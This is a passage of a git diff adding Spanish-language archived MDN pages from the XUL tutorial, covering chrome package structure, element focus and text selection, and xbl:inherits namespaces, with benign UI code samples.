+<h3 id="Organizaci.C3.B3n_del_paquete" name="Organizaci.C3.B3n_del_paquete">Organización del paquete</h3>
+
+<p>Mozilla está organizado de tal forma que te permite tener tantos componentes pre-instalados como quieras. Cada extensión es, además, un componente con un chrome URL distinto. Además tendrá un componente para cada tema o configuración regional instalado. Cada uno de estos componentes o paquetes, está compuesto de un conjunto de ficheros que describen la interfaz de usuario para cada uno. Por ejemplo, el componente de mensajería tendrá descripciones de la ventana de listado de mensajes de correo, la ventana de composición y los cuadros de la libreta de direcciones.</p>
+
+<p>Los paquetes que vienen con Mozilla están localizados en la carpeta chrome, que puedes encontrar en el directorio donde instalaste Mozilla. La carpeta chrome es donde encontrarás todos estos archivos que describen la interfaz de usuario para el navegador Mozilla, el cliente de correo y para otras aplicaciones. Habitualmente pondrás todos los archivos XUL para una aplicación en esta carpeta, excepto para las extensiones, que serán instaladas en la carpeta de extensiones de un usuario concreto. El simple hecho de copiar un archivo XUL a la carpeta 'chrome' no proporcionará al archivo ningún permiso extra ni será accesible a través de chrome URL. Para conseguir estos privilegios extras, tendrás que crear un archivo manifest y ponerlo en la carpeta chrome. Este archivo es fácil de crear, y habitualmente sólo contiene un par de líneas de código. Se usa para enlazar un chrome URL a un archivo o ruta de una carpeta del disco donde están los archivos XUL. Detalles de cómo crear este archivo serán vistos <a href="es/Tutorial_de_XUL/Archivos_Manifest">en la siguiente sección</a>.</p>
+
+<p>La única forma de acceder a contenido a través de una URL chrome es crear un paquete como se describe en las siguientes secciones. Esta carpeta se denomina 'chrome' porque parece ser un nombre conveniente para el directorio donde se mantienen los paquetes chrome que se incluyen con Mozilla.</p>
+
+<p>Para agrandar la confusión, hay otros dos sitios donde la palabra chrome puede aparecer. El primero es el argumento <code>'-chrome'</code>, y el segundo el modificador <code>chrome</code> para la función <code><a href="es/DOM/window.open">window.open()</a></code>. La llamada de estas características no otorga privilegio alguno. Son usadas para abrir una nueva ventana arriba del todo sin el menú o la barra de herramientas del navegador. Habitualmente se usará esta característica en aplicaciones XUL donde no se quiera que aparezca las diferentes barras del navegador alrededor de los cuadros de diálogo.</p>
+
+<p>Los archivos para un paquete son normalmente unidos en un simple archivo JAR. Un archivo JAR debe ser creado y examinado usando una aplicación ZIP. Por ejemplo, puedes abrir un archivo JAR en la carpeta chrome de Mozilla para ver la estructura básica de un paquete. Aunque es normal unir los archivos en un archivo JAR, los paquetes pueden ser accesibles de forma expandida en un directorio. No es habitual distribuir un paquete de esta forma, pero es práctico durante su desarrollo, ya que puedes editar el archivo directamente para después recargarlo sin tener que volver a empaquetar o reinstalar los archivos.</p>
+
+<p>Por defecto, las aplicaciones Mozilla analizan los archivos XUL y los scripts, y guardan una versión pre-compilada en la memoria para mejorar el resto de la sesión. Esto mejora la ejecución. Sin embargo, por culpa de esto, el archivo XUL no será recargado aún cuando el archivo fuente haya cambiado. Para desactivar este mecanismo, es necesario cambiar las preferencia <code>nglayout.debug.disable_xul_cache</code>. En Firefox, ésta preferencia se puede añadir a las preferencias del usuario poniendo "about:config" en la barra de dirección y cambiar ese valor por verdadero (<code>true</code>). O manualmente editando el archivo de preferencias user.js y añadiéndole la siguiente línea:</p>
+
+<pre class="eval">pref("nglayout.debug.disable_xul_cache", true);
+</pre>
+
+<p><br>
+ Habitualmente hay tres partes distintas en un paquete chrome, aunque son opcionales. Cada parte está almacenada en una carpeta distinta. Estas tres partes son el contenido, la piel (skin) y la configuración regional, explicados más abajo. Un paquete particular debe proporcionar una o más pieles (skins) y locales, pero un usuario puede reemplazarlos con los suyos propios. Además, el paquete debe incluir varias aplicaciones distintas cada una accesible a través de diferentes chrome URLs. El sistema de paquetes es suficientemente flexible por lo que puedes incluir todas las partes que necesites y permitir que otras partes, como el texto para diferentes idiomas, sean descargadas de forma separada.</p>
+
+<p>Los tres tipos de paquetes chrome son:</p>
+
+<ul>
+ <li><strong>Contenido</strong> - ventanas y scripts.<br>
+  Las declaraciones de las ventanas y los elementos de la interfaz de usuario contenidos con ellos. Se almacenan en archivos XUL, que tienen extension <code>.xul</code>. Un paquete de contenido puede tener múltiples archivos XUL, pero la ventana principal debe tener el mismo nombre de archivo que el nombre del paquete. Por ejemplo, el paquete 'editor' tendrá un archivo que se llamará <code>editor.xul</code>. Los scripts están situados en archivos separados junto a los archivos XUL.</li>
+ <li><strong>Aspecto (skin)</strong> - Hojas de estilo, imágenes y otros archivos específicos al tema.<br>
+  Las hojas de estilo describen detalles de la apariencia de una ventana. Se almacenan de forma separada a los archivos XUL para facilitar modificar el aspecto (skin o tema) de una aplicación. Algunas imágenes usadas también se almacenan aquí.</li>
+ <li><strong>Configuración regional</strong> - Archivos locales específicos.<br>
+  Todo el texto que se muestra en una ventana se almacena de forma separada. De esta forma, un usuario puede tener un conjunto para su propio idioma.</li>
+</ul>
+
+<h3 id="Paquetes_de_contenido" name="Paquetes_de_contenido">Paquetes de contenido</h3>
+
+<p>El nombre de un archivo JAR debe describir lo que contiene, pero no se puede asegurar el contenido si no se mira a dentro. Vamos a usar el paquete del navegador incluido con Firefox como ejemplo. Si extraemos los archivos de <code>browser.jar</code>, nos encontraremos con una jerarquía de directorios similar a la que se muestra a continuación:</p>
+
+<pre>content
+   browser
+      browser.xul
+      browser.js
+      -- otros ficheros XUL y JS van aquí --
+      bookmarks
+         -- los archivos de marcadores, aquí --
+      preferences
+         -- los archivos de preferencias, aquí --
+.
+.
+.
+</pre>
+
+<p><span class="comment">el ejemplo original &lt;pre&gt; content browser browser.xul browser.js -- other browser XUL and JS files goes here -- bookmarks -- bookmarks files go here -- preferences -- preferences files go here -- . . . &lt;/pre&gt;</span></p>
+
+<p>Ésto es fácilmente reconocible como un paquete de contenido, ya que el directorio superior se llama <code>content</code>. Para aspectos(skins) esta carpeta normalmente será denominada skin y para configuración regional se le llamará locale. Este esquema de nombres no es necesario pero es una práctica habitual para hacer más claras las partes de un paquete. Algunos paquetes deben incluir una sección de contenidos, una piel (skin) y un locale. En este caso, encontraremos un sub-directorio para cada tipo. Por ejemplo, Chatzilla está distribuido de esta forma.</p>
+
+<p>La carpeta content/browser contiene un número de archivos con extensiones .xul y .js. Los archivos XUL son los que tienen la extensión .xul. Los archivos con extensiones .js son archivos JavaScript que contienen los scripts que se encargan de la funcionalidad de una ventana. Muchos archivos XUL tienen un archivo script asociado con ellos, y muchos deben tener más de uno.</p>
+
+<p>En el listado superior, dos archivos han sido vistos. De hecho hay otros, pero para simplificar no serán vistos. El archivo browser.xul es el archivo XUL que describe la ventana principal del navegador. La ventana principal para un paquete de contenido debe tener el mismo nombre que el paquete con una extensión .xul. En este caso, el nombre del paquete es "browser", por eso esperaremos encontrarnos con browser.xul. Algunos de los otros archivos XUL describen ventanas distintas. Por ejemplo, el archivo pageInfo.xul describe el cuadro de información de la página.</p>
+
+<p>Muchos paquetes incluirán un archivo contents.rdf que describe el paquete, su autor y el revestimiento que usa. Sin embargo, este archivo está obsoleto y ha sido reemplazado con un mecanismo más simple. Este nuevo método es el archivo manifest mencionado anteriormente, y encontraremos estos archivos con la extensión .manifest en el directorio chrome. Por ejemplo, browser.manifest describe el paquete del navegador.</p>
+
+<p>Varias subcarpetas, como son marcadores y preferencias (bookmarks y preferences), describen secciones adicionales del navegador. Están ubicadas en diferentes carpetas sólo para mantener los archivos más organizados.</p>
+
+<h3 id="Aspectos_.28skins.29_o_Temas" name="Aspectos_.28skins.29_o_Temas">Aspectos (skins) o Temas</h3>
+
+<p>Al código subyacente de Mozilla se le llama aspectos (skins), aunque a la interfaz de usuario se la llama temas, pero ambos se refieren a la misma cosa. El archivo classic.jar describe el tema por defecto que viene con Firefox. La estructura es similar a los paquetes de contenido. Por ejemplo, examinando classic.jar:</p>
+
+<pre>skin
+   classic
+      browser
+         -- browser skin files go here --
+      global
+         contents.rdf
+         -- global skin files go here --.
+.
+.
+</pre>
+
+<p>Nuevamente, esta estructura de carpetas no es necesaria y es usada por comodidad. Realmente puedes colocar todos los archivos en una carpeta arriba del todo y no usar subcarpetas. Sin embargo, para aplicaciones mayores, las subcarpetas son usadas para separar los diferentes componentes. En el ejemplo anterior, una carpeta es para los archivos del tema para el navegador y otra para los archivos del tema global. La carpeta global contiene archivos de la piel (skin) que son comunes a todos los paquetes. Estos archivos se aplicarán a todos los componentes y serán incluídos para tus aplicaciones autónomas. La parte global define el aspecto de todos los chismes comunes XUL, mientras que las otras carpetas contienen archivos que son específicos de estas aplicaciones. Firefox incluye tanto los archivos del tema global como los del navegador en un archivo, pero ambos pueden ser incluídos por separado.</p>
+
+<p>Una piel (skin) se compone de archivos CSS y de un número de imágenes usadas para definir el aspecto y la interfaz. El archivo browser.css es usado por browser.xul y contiene estilos que definen el aspecto de varias partes de la interfaz del navegador. Nuevamente, nótese como el archivo browser.css tiene el mismo nombre que el paquete. Cambiando los archivos CSS, puedes ajustar el aspecto de una ventana sin cambiar su función. De esta forma puedes crear un nuevo tema. La parte XUL continúa igual pero la parte de la piel (el skin) cambia independientemente.</p>
+
+<h3 id="Configuraci.C3.B3n_regional" name="Configuraci.C3.B3n_regional">Configuración regional</h3>
+
+<p>El archivo en-US.jar describe la información del idioma para cada componente, en este caso para US English. Como las pieles (skins), cada idioma contendrá archivos que especifican texto usado por el paquete pero para un idioma concreto. La estructura para la configuración regional es similar a las otras, por eso no será explicada aquí.</p>
+
+<p>El texto de idioma es almacenado en dos tipos de archivos: archivos DTD y archivos de propiedades. Los archivos DTD tienen una extensión .dtd y contienen declaraciones de identidad, una para cada cadena de texto usada en una ventana. Por ejemplo, el archivo browser.dtd contiene declaraciones de identidad para cada comando del menú. Además, los atajos de teclado para cada comando también están definidos, ya que pueden ser diferentes en cada idioma. Los archivos DTD son usados por los archivos XUL por eso, en general, tendrás uno por cada archivo XUL. La parte de configuración regional también contiene archivos de propiedades, que son similares, pero son usados por archivos script. El archivo browser.properties contiene algunas cadenas de idioma.</p>
+
+<p>Esta estructura nos permite traducir Mozilla o un componente a un idioma distinto sólo añadiendo una nueva configuración regional para ese idioma. No tienes que cambiar la parte de XUL. Además, otra persona puede proporcionar un paquete separado que aplica una piel (skin) o configuración regional a tu parte de contenido, proporcionando soporte de esta manera a un nuevo tema o idioma sin tener que modificar el paquete original.</p>
+
+<h3 id="Otros_paquetes" name="Otros_paquetes">Otros paquetes</h3>
+
+<p>Hay un paquete especial llamado toolkit (o global). Vimos anteriormente el directorio global para skins (pieles). El archivo toolkit.jar contiene el contenido correspondiente para ello. Contiene algunos diálogos globales y definiciones. Además, define la apariencia por defecto y la funcionalidad de varios chismes XUL comunes como son los cuadros de texto y los botones. Los archivos localizados en la parte global de un paquete skin contienen la apariencia por defecto para todos los elementos de la interfaz XUL. El paquete toolkit es usado por todas las aplicaciones XUL.</p>
+
+<h3 id="A.C3.B1adiendo_un_paquete" name="A.C3.B1adiendo_un_paquete">Añadiendo un paquete</h3>
+
+<p>Mozilla coloca los paquetes incluidos con la instalación en la carpeta chrome. Sin embargo, no es necesario colocarlos aquí. Si tienes otro paquete instalado, puede ser colocado en cualquier parte del disco, siempre que un archivo manifest apunte a él. Es una práctica frecuente colocar los paquetes en la carpeta chrome simplemente por ser conveniente, sin embargo sólo funcionarán correctamente desde otro directorio o desde algún lugar de tu red local. No puedes almacenarlos en un lugar remoto, a no ser que el sitio remoto sea montado a través del sistema de ficheros local.</p>
+
+<p>Hay dos carpetas chrome usadas para las aplicaciones XUL, una está instalada en el mismo sitio donde las aplicaciones están instaladas, y la otra es parte del perfil del usuario. La primera permite a los paquetes ser compartidos por todos los usuarios, mientras que la segunda permite la creación de paquetes sólo por un usuario o grupo específico. Las extensiones, cuando son instaladas en una carpeta de extensiones diferente, son también normalmente específicas del usuario. Cualquier archivo manifest situado en cualquier carpeta chrome será examinado para ver que los paquetes instalados.</p>
+
+<p>En la siguiente sección, veremos como referirse a un paquete chrome usando la URL chrome.</p>
+
+<p>{{ PreviousNext("Tutorial de XUL:Introducción", "Tutorial de XUL:La URL chrome") }}</p>
+
+<p><span class="comment">Interwiki Language Links</span></p>
diff --git a/files/es/archive/mozilla/xul/tutorial_de_xul/foco_y_selección/index.html b/files/es/archive/mozilla/xul/tutorial_de_xul/foco_y_selección/index.html
new file mode 100644
index 0000000000..89f2b7bfdd
--- /dev/null
+++ b/files/es/archive/mozilla/xul/tutorial_de_xul/foco_y_selección/index.html
@@ -0,0 +1,179 @@
+---
+title: Foco y Selección
+slug: Archive/Mozilla/XUL/Tutorial_de_XUL/Foco_y_Selección
+tags:
+  - Todas_las_Categorías
+  - Tutorial_de_XUL
+  - XUL
+translation_of: Archive/Mozilla/XUL/Tutorial/Focus_and_Selection
+---
+<p>Esta sección describe como gestionar el foco y la selección de los elementos.</p>
+
+<h3 id="Elementos_con_foco" name="Elementos_con_foco">Elementos con foco</h3>
+
+<p>El elemento con foco se refiere al elemento que actualmente recibe los eventos de entrada. Si hay tres campos de texto en una ventana, el que tiene el foco es en el que el usuario puede introducir texto. Sólo un elemento por ventana puede tener el foco en un momento dado.</p>
+
+<p>El usuario puede cambiar el foco haciendo clic en un elemento o usando la tecla TAB. Cuando la tecla TAB es presionada, el foco pasa al siguiente elemento. Para ir al elemento anterior puede pulsarse Mayúsculas + Tab.</p>
+
+<h4 id="Reordenaci.C3.B3n_del_orden_de_tabulaci.C3.B3n" name="Reordenaci.C3.B3n_del_orden_de_tabulaci.C3.B3n">Reordenación del orden de tabulación</h4>
+
+<p>Puedes cambiar el orden en que los elementos reciben el foco cuando el usuario presiona TAB si especificas un valor para el atributo tabindex en cada elemento. El valor de este atributo debe ser un número. Cuando el usuario presiona la tecla TAB, el foco cambiará al elemento con el tabindex inmediatamente superior al elemento actual. Esto significa que puedes ordenar los elementos si les asignas índices en forma secuencial. Normalmente, sin embargo, no especificarás un valor para el atributo tabindex. Si no lo especificas, presionar la tecla TAB pondrá el foco en el siguiente elemento marcado en el código. Sólo necesitas especificarlo si deseas usar un orden distinto. Aquí hay un ejemplo:</p>
+
+<p><strong>Ejemplo 1:</strong> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_focus_1.xul.txt">Código</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_focus_1.xul">Ver en funcionamiento</a></p>
+
+<pre class="eval">&lt;button label="Botón 1" tabindex="2"/&gt;
+&lt;button label="Botón 2" tabindex="1"/&gt;
+&lt;button label="Botón 3" tabindex="3"/&gt;
+</pre>
+
+<h4 id="El_evento_enfoque" name="El_evento_enfoque">El evento enfoque</h4>
+
+<p>El evento onfocus (enfoque) se usa para responder cuando un elemento recibe el foco. El evento onblur (desenfocado) se usa para responder cuando el foco se retira de un elemento. Ambos eventos funcionan igual que sus equivalentes en HTML. Puedes usar estos gestores para iluminar un elemento o mostrar un texto de ayuda en la barra de estado. El siguiente ejemplo puede ser usado para aplicar una función a la gestión del evento de enfoque.</p>
+
+<p><strong>Ejemplo 2</strong>: <a href="https://developer.mozilla.org/samples/xultu/examples/ex_focus_2.xul.txt">Código</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_focus_2.xul">Ver en funcionamiento</a></p>
+
+<pre class="eval">&lt;script&gt;
+function displayFocus()
+{
+  var elem=document.getElementById('sbar');
+  elem.setAttribute('value','Introduce tu número de teléfono.');
+}
+&lt;/script&gt;
+
+&lt;textbox id="tbox1"/&gt;
+&lt;textbox id="tbox2" onfocus="displayFocus();"/&gt;
+&lt;description id="sbar" value=""/&gt;
+</pre>
+
+<p>El evento onfocus, cuando ocurra, llamará a la función displayFocus(). Esta función cambiará el valor de la etiqueta. Podemos extender este ejemplo para eliminar ese texto cuando el elemento pierde el foco. Generalmente, usarás los eventos de enfoque y desenfocado para actualizar partes de la interfaz cuando el usuario seleccione elementos. Por ejemplo, calculando un total cuando usuario introduzca valores en otros campos, o usando los eventos de foco para validar ciertos valores. No muestres diálogos de alerta durante los eventos de foco ya que generalmente esto incomodará o distraerá al usuario y por ello se considera un diseño de interfaz bastante pobre.</p>
+
+<p>También puedes añadir gestores de eventos dinámicamente usando la función del DOM addEventListener. Puedes usarla para cualquier tipo de elemento. Toma tres parametros, el tipo de evento, la función a ejecutar cuando ocurre el evento y un booleano indicando si debe ser capturado o no.</p>
+
+<h4 id="Obtenci.C3.B3n_del_elemento_actualmente_enfocado" name="Obtenci.C3.B3n_del_elemento_actualmente_enfocado">Obtención del elemento actualmente enfocado</h4>
+
+<p>El elemento enfocado actualmente se registra en un objeto llamado despachador de comandos (command dispatcher), del cual sólo hay una instancia en cada ventana. El despachador de comandos es responsable de mantener controlado el elemento que tiene el foco cuando el usuario usa el interfaz. El despachador de comandos también tiene otras tareas, que serán discutidas en un próxima sección sobre los comandos. Por ahora, miraremos algunas de las características relacionadas con la focalización.</p>
+
+<p>Puedes obtener el despachador de comandos de la ventana usando la propiedad commandDispatcher del documento. Desde ahí, puedes saber el elemento enfocado actualmente con el atributo focusedElement del despachador. El siguiente ejemplo ilustra cómo hacerlo.</p>
+
+<p><strong>Ejemplo 3</strong>: <a href="https://developer.mozilla.org/samples/xultu/examples/ex_focus_3.xul.txt">Código</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_focus_3.xul">Ver en funcionamiento</a></p>
+
+<pre class="eval">&lt;window id="focus-example" title="Ejemplo de Foco"
+       onload="init();"
+       xmlns="<a class="external" href="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" rel="freelink">http://www.mozilla.org/keymaster/gat...re.is.only.xul</a>"&gt;
+
+  &lt;script&gt;
+  function init()
+  {
+    addEventListener("focus",setFocusedElement,true);
+  }
+
+  function setFocusedElement()
+  {
+    var focused = document.commandDispatcher.focusedElement;
+    document.getElementById("focused").value = focused.tagName;
+  }
+  &lt;/script&gt;
+
+  &lt;hbox&gt;
+    &lt;label control="username" value="Nombre de usuario:"/&gt;
+    &lt;textbox id="username"/&gt;
+  &lt;/hbox&gt;
+
+  &lt;button label="Hola"/&gt;
+  &lt;checkbox label="Recuerda esta decisión"/&gt;
+  &lt;label id="focused" value="-Sin Foco-"/&gt;
+
+&lt;/window&gt;
+</pre>
+
+<p>En este ejemplo, el gestor de eventos del foco se adjunta a la ventana. Queremos usar un gestor de eventos capturador, así que debemos usar el método addEventListener. Este registrará un gestor de eventos capturador con la ventana, que se encargará de llamar al método setFocusedElement(). Este método coge el elemento que contiene el foco actualmente del despachador de comandos y pone el valor de la etiqueta con el nombre del elemento. Cuando el foco cambia de elemento, la etiqueta mostrará el nombre del elemento que contiene el foco. Algunas cosas que cabe mencionar son las siguientes:</p>
+
+<ul>
+ <li>Primero, cuando la caja de texto tiene el foco, el nombre del elemento es ‘html:input’, no ‘textbox’ como cabría esperar. Esto es así porque las cajas de texto en XUL están implementadas usando el control input de HTML, así que el evento de foco es recibido por ese elemento.</li>
+ <li>Segundo, haciendo clic en la etiqueta de la caja de texto cambia el foco a la caja de texto. Esto sucede porque el elemento etiqueta tiene un atributo control apuntando al id de la caja de texto.</li>
+ <li>Finalmente, la otra etiqueta que muestra el nombre del elemento, no tiene un atributo control, así que hacer clic sobre ella no tiene ningún efecto para el cambio de foco. Sólo los elementos focalizables pueden obtener el foco.</li>
+</ul>
+
+<h4 id="Hacer_una_etiqueta_enfocable" name="Hacer_una_etiqueta_enfocable">Hacer una etiqueta enfocable</h4>
+
+<p>Si tuvieras que crear un elemento personalizado, tendrías que definir si este nuevo elemento puede obtener el foco o no. Para ello, puedes usar una propiedad de estilo especial : -moz-user-focus. Esta propiedad controla si un elemento puede ser focalizable. Por ejemplo, podrías crear una etiqueta focalizable como en el siguiente ejemplo.</p>
+
+<p><strong>Ejemplo 4</strong>: <a href="https://developer.mozilla.org/samples/xultu/examples/ex_focus_4.xul.txt">Código</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_focus_4.xul">Ver en funcionamiento</a></p>
+
+<pre class="eval">&lt;label id="focused" style="-moz-user-focus: normal;"
+         onkeypress="alert('Etiqueta Focalizada');" value="Focalizame"/&gt;
+</pre>
+
+<p>La propiedad de estilo está puesta como normal. También puedes ponerla como ignore para que el elemento no sea focalizable. Esta propiedad no debe ser usada para deshabilitar un elemento, para ello puedes usar el atributo disabled ya que se diseñó específicamente para ello. Una vez la etiqueta del ejemplo obtiene el foco, puede responder a pulsaciones del teclado. Naturalmente, la etiqueta no da ninguna indicación de estar focalizada, ya que normalmente no debería poder obtener el foco.</p>
+
+<h4 id="Cambio_del_foco" name="Cambio_del_foco">Cambio del foco</h4>
+
+<p>Hay distintas formas de cambiar el elemento actualmente enfocado. La más simple es llamando al método focus del elemento XUL que deseas tener enfocado. El método blur sería usado para desfocalizar un elemento. El siguiente ejemplo muestra su uso.</p>
+
+<p><strong>Ejemplo 5</strong>: <a href="https://developer.mozilla.org/samples/xultu/examples/ex_focus_5.xul.txt">Código</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_focus_5.xul">Ver en funcionamiento</a></p>
+
+<pre class="eval">&lt;textbox id="addr"/&gt;
+
+&lt;button label="Foco" oncommand="document.getElementById('addr').focus()"/&gt;
+</pre>
+
+<p>Opcionalmente puedes usar los métodos advanceFocus y rewindFocus del despachador de comandos. Estos métodos mueven el foco al siguiente o anterior elemento respectivamente. Esto es lo que pasa cuando se presiona TAB o Mayúsculas+TAB.</p>
+
+<p>Para las cajas de texto, un atributo especial focused se añade cuando el elemento tiene el foco. Puedes comprobar la presencia del atributo para determinar si el elemento está enfocado, ya sea mediante un guión o desde una hoja de estilos. Tendrá el valor true si la caja de texto tiene el foco y si no lo tuviera el atributo ni siquiera estará presente.</p>
+
+<h4 id="Comportamientos_espec.C3.ADficos_de_plataforma" name="Comportamientos_espec.C3.ADficos_de_plataforma">Comportamientos específicos de plataforma</h4>
+
+<dl>
+ <dt>Max OS X</dt>
+ <dd>Hay una preferencia llamada "Acceso Total al Teclado" (Full Keyboard Access, FKA). Nota que XUL es fiel a esto. Esto quiere decir que cuando la preferencia FKA está<em>off</em>, sólo las cajas de texto y las listas/árboles son enfocables con el teclado, así como de tu teclado utilizando el método focus.</dd>
+</dl>
+
+<h3 id="Manejo_de_cambios_de_texto" name="Manejo_de_cambios_de_texto">Manejo de cambios de texto</h3>
+
+<p>Hay dos eventos que pueden ser utilizados cuando el usuario cambia el valor de una caja de texto. Naturalmente, estos eventos sólo serán enviados a la caja de texto que tiene el foco.</p>
+
+<ul>
+ <li>El evento input es disparado siempre que el texto del campo es modificado. El valor nuevo será diferente del viejo. Puedes querer utilizar este evento en lugar de usar eventos de tecla, ya que algunas teclas como Mayúsculas no cambian el valor. Además, el evento input no se disparará si se pulsa una tecla de letra cuando ya no caben más letras en la caja de texto.</li>
+ <li>El evento change es similar en que se dispara sólo cuando el campo cambia. Sin embargo sólo se dispara una vez la caja de texto pierde el foco, es decir, una vez por cada conjunto de cambios.</li>
+</ul>
+
+<h3 id="Selecci.C3.B3n_de_texto" name="Selecci.C3.B3n_de_texto">Selección de texto</h3>
+
+<p>Cuando trabajamos con cajas de texto, seguramente deseemos obtener el texto seleccionado en lugar de todo el texto. También es posible que necesitemos cambiar la selección actual.</p>
+
+<p>Las cajas de texto en XUL soportan una forma de obtener y modificar la selección. La forma más sencilla es seleccionar todo el texto de la caja. Esto involucra usar el método select de la caja de texto.</p>
+
+<pre class="eval">tbox.select();
+</pre>
+
+<p>Sin embargo, podrías querer seleccionar tan sólo una parte del texto. Para hacerlo puedes usar la función setSelectionRange. Toma dos parametros, el primero es la posición del caracter inicial y el segundo es la posición del caracter inmediatamente posterior al fin de la selección. Los valores comienzan en 0, así que la posición del primer caracter es 0, la del segundo 1 …</p>
+
+<pre class="eval">tbox.setSelectionRange(4,8);
+</pre>
+
+<p>Este ejemplo seleccionará el quinto, sexto, séptimo y octavo caracteres. Si tan sólo hubiera seis caracteres, sólo el quinto y el sexto serían seleccionados, sin provocar ningún error.</p>
+
+<p>Si usas el mismo valor para ambos parametros, el inicio y fin de la selección cambia a la misma posición. Esto equivale a cambiar la posición del cursor dentro de la caja de texto. Por ejemplo, la siguiente línea puede usarse para mover el cursor al inicio del texto.</p>
+
+<pre class="eval">tbox.setSelectionRange(0,0);
+</pre>
+
+<p>Puedes obtener la selección actual usando las propiedades <code>selectionStart</code> y <code>selectionEnd</code>. Estas propiedades contienen los valores de inicio y final de la selección actual respectivamente. Si ambas contienen el mismo valor, significa que no hay ningún texto seleccionado, y los valores serán la posición actual del cursor. Una vez que tienes la posición inicial y final puedes extraer la subcadena del texto completo.</p>
+
+<p>Puedes obtener y modificar el contenido de una caja de texto usando la propiedad value.</p>
+
+<p>Otra propiedad de las cajas de texto bastante útil es <code>textLength</code>, la cual nos dirá el número de caracteres del campo.</p>
+
+<h3 id="Selecci.C3.B3n_de_otros_elementos" name="Selecci.C3.B3n_de_otros_elementos">Selección de otros elementos</h3>
+
+<p>Muchos otros elementos proporcionan métodos para obtener los elementos seleccionados dentro de ellos. Listas, menús y cajas de pestañas tienen la propiedad selectedIndex que podemos usar para obtener el índice del elemento actualmente seleccionado.</p>
+
+<p>Si asignas un valor a la propiedad selectedIndex puedes cambiar el elemento seleccionado.</p>
+
+<div class="prevnext" style="text-align: right;">
+    <p><a href="/es/docs/Tutorial_de_XUL:Atajos_de_teclado" style="float: left;">« Anterior</a><a href="/es/docs/Tutorial_de_XUL:Comandos">Siguiente  »</a></p>
+</div>
+
+<p><span class="comment">Categorías</span></p>
+
+<p><span class="comment">links interwikis</span></p>
diff --git a/files/es/archive/mozilla/xul/tutorial_de_xul/herencia_de_atributos_xbl_en_firefox_1.5_y_2.0/index.html b/files/es/archive/mozilla/xul/tutorial_de_xul/herencia_de_atributos_xbl_en_firefox_1.5_y_2.0/index.html
new file mode 100644
index 0000000000..930be87618
--- /dev/null
+++ b/files/es/archive/mozilla/xul/tutorial_de_xul/herencia_de_atributos_xbl_en_firefox_1.5_y_2.0/index.html
@@ -0,0 +1,44 @@
+---
+title: Herencia de atributos xbl en Firefox 1.5 y 2.0.
+slug: >-
+  Archive/Mozilla/XUL/Tutorial_de_XUL/Herencia_de_atributos_xbl_en_Firefox_1.5_y_2.0.
+tags:
+  - páginas_a_traducir
+translation_of: Archive/Mozilla/XUL/Tutorial/XBL_Attribute_Inheritance
+---
+<p> </p>
+
+<h3 id="Herencia_de_atributos_xbl_en_Firefox_1.5_y_2.0." name="Herencia_de_atributos_xbl_en_Firefox_1.5_y_2.0."><strong>Herencia de atributos xbl en Firefox 1.5 y 2.0.</strong></h3>
+
+<p>He visto por internet que muchas personas están teniendo problemas con <strong>xbl:inherits</strong> en firefox 1.5 y 2.0 en cualquier plataforma, igual que yo, así que pues me di un tiempo después del trabajo para solucionear el problema, tienes que escribir los xmlns como en mi ejemplo.</p>
+
+<p> </p>
+
+<pre class="eval">&lt;?xml version="1.0"?&gt;
+&lt;bindings xmlns="<a class="external" href="http://www.mozilla.org/xbl" rel="freelink">http://www.mozilla.org/xbl</a>" xmlns:xbl="<a class="external" href="http://www.mozilla.org/xbl" rel="freelink">http://www.mozilla.org/xbl</a>" xmlns:xul="<a class="external" href="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" rel="freelink">http://www.mozilla.org/keymaster/gat...re.is.only.xul</a>"&gt;
+&lt;binding id="zona"&gt;
+ &lt;content&gt;
+  &lt;xul:deck xbl:inherits="selectedIndex" flex="1"&gt;
+   &lt;xul:stack&gt;
+           &lt;xul:image src="green1.jpg" /&gt;
+           &lt;xul:hbox pack="center"&gt;
+             &lt;xul:vbox pack="center"&gt;
+               &lt;xul:image style="height: 80px; width: 80px;" src="yinyan-m.jpg" /&gt;
+             &lt;/xul:vbox&gt;
+           &lt;/xul:hbox&gt;
+         &lt;/xul:stack&gt;
+   &lt;xul:stack&gt;
+           &lt;xul:image src="green1.jpg"/&gt;
+           &lt;xul:vbox pack="center"&gt;
+             &lt;xul:image src="set.jpg"/&gt;
+           &lt;/xul:vbox&gt;
+         &lt;/xul:stack&gt;
+  &lt;/xul:deck&gt;
+ &lt;/content&gt;
+&lt;/binding&gt;
+&lt;/bindings&gt;
+</pre>
+
+<p>Este archivo se guarda con la extensión .xml por ejemplo miarchivo.xml, de esta manera la herencia de atributos de la forma xbl:inherits funciona incluso con atributos definidos en un namespace. RECUERDEN PONER ATENCIÓN A LOS NAMESPACES <strong>xmlns</strong>.</p>
+
+<p> </p>
diff --git a/files/es/archive/mozilla/xul/tutorial_de_xul/index.html b/files/es/archive/mozilla/xul/tutorial_de_xul/index.html
new file mode 100644
index 0000000000..6dbfec687b
--- /dev/null
+++ b/files/es/archive/mozilla/xul/tutorial_de_xul/index.html
@@ -0,0 +1,123 @@
+---
+title: Tutorial de XUL
+slug: Archive/Mozilla/XUL/Tutorial_de_XUL
+tags:
+  - Todas_las_Categorías
+  - Tutorial_de_XUL
+  - XUL
+translation_of: Archive/Mozilla/XUL/Tutorial
+---
+<p>
+</p><p><br>
+</p>
+<div class="note">
+<p>Este tutorial de XUL fue creado por <a class="external" href="http://www.xulplanet.com/ndeakin/">Neil Deakin</a>. Él nos dio su permiso para que lo usáramos como parte de MDC.
+</p>
+</div>
+<p>Este tutorial describe <a href="es/XUL">XUL</a>, el lenguaje de usuario XML. Este lenguaje fue creado para la aplicación Mozilla y es usado para dibujar su interface.
+</p>
+<h3 id="Introducci.C3.B3n" name="Introducci.C3.B3n"> Introducción </h3>
+<ul><li><a href="es/Tutorial_de_XUL/Introducci%c3%b3n">Introducción</a>
+</li><li><a href="es/Tutorial_de_XUL/Estructura_XUL">Estructura XUL</a>
+</li><li><a href="es/Tutorial_de_XUL/La_URL_chrome">La URL chrome</a>
+</li><li><a href="es/Tutorial_de_XUL/Archivos_Manifest">Archivos manifest</a>
+</li></ul>
+<h3 id="Elementos_simples" name="Elementos_simples"> Elementos simples </h3>
